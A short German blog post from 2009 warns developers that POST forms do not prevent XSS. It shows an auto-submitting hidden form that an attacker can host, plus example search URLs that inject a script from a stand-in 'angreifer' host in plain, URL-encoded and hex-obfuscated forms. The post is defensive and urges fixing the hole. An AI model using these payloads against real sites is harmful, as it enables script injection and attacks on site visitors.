Das “method=post”-Missverständnis… Teil 2
Sonntag, 22. Februar 2009, 11:42 Uhr | Autor: ich
Ich schrieb hier bereits über die Übertragungsmethode POST in Formularen. Aus dem dort geschriebenen sollte man nun aber nicht ableiten das eine WebSite XSS-Safe ist, nur weil POST, $_POST und register_globals = Off verwendet wird.
Sollten die obigen Dinge beachtet worden sein, so kann ein Angreifer zwar nicht direkt http://domain.tld/suche.script?suchwort=irgendetwas benutzen, aber…
<body onload="document.xss.submit()">
<form name="xss" method="post" action="http://domain.tld/suche.script">
<input type="hidden" name="suchwort" value="irgendetwas" />
</form>
Im HTML-Code wird einfach das Originalformular nachgebaut, mit Schadcode versehen und irgendwo im Netz gespeichert. Der Angreifer verteilt nur eine KurzURL zu seinem Formular, welches automatisch das Zielsystem aufruft und die Formulardaten überträgt. Ein Opfer wird kaum bemerken das eine Umleitung vom Angreifer- zum Ziel-Script erfolgt ist.
<einschub>
Verdächtige, mit XSS verseuchte, URLs könnte folgendermaßen aussehen:
http://domain.tld/suche.script?suchwort=
%3Cscript src=http://angreifer/%3E%3C/script%3Ehttp://domain.tld/suche.script?suchwort=
%3Cscript%20 src%3Dhttp%3A%2F%2Fangreifer%2F%3E%3C%2Fscript%3Ehttp://domain.tld/suche.script?suchwort=
%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74
%74%70%3A%2F%2F%61%6E%67%72%65%69%66%65%72
%2F%3E%3C%2F%73%63%72%69%70%74%3E
</einschub>
Bei dieser Angriffsmethode hat das Opfer keine Möglichkeit den Schwindel in der Adresszeile des Browsers zu erkennen. Da keine verdächtigen Zeichen sichtbar übertragen wurden, sieht das Opfer in seinem Browser nur:
http://domain.tld/suche.script
Auch wer POST verwendet – NICHT zurücklehnen! – Handeln und Lücke schließen!





